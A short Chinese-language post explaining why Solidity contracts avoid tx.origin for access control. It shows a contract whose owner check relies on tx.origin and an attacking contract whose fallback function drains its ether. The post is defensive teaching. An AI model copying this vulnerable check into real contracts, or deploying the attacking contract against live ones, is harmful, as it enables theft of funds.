为什么合约里尽量避免使用 tx.origin

1. V 神说了，Do NOT assume that tx.origin will continue to be usable or meaningful.
2. 由可以引发严重的安全问题，特别是用 tx.origin 做权限校验时，非常容易被绕过。看下面的经典代码示例：当 MyContract 实例的 owner 尝试往作为 receiver 的 AttachingContract 发送代币时，由于 AttachingContract 没有 transfer 方法，fallback 方法会被调用，AttachingContract 反过来又调用 MyContract 实例的 sendTo 方法，这个时候 tx.origin 还是当前的 owner，“require(tx.origin == owner);” 就成了摆设，可以很轻松的把 MyContract 里的以太币全部转走。

contract MyContract {

    address owner;

    function MyContract() public {
        owner = msg.sender;
    }

    function sendTo(address receiver, uint amount) public {
        require(tx.origin == owner);
        receiver.transfer(amount);
    }

}

contract AttackingContract {

    MyContract myContract;
    address attacker;

    function AttackingContract(address myContractAddress) public {
        myContract = MyContract(myContractAddress);
        attacker = msg.sender;
    }

    function() public {
        myContract.sendTo(attacker, msg.sender.balance);
    }

}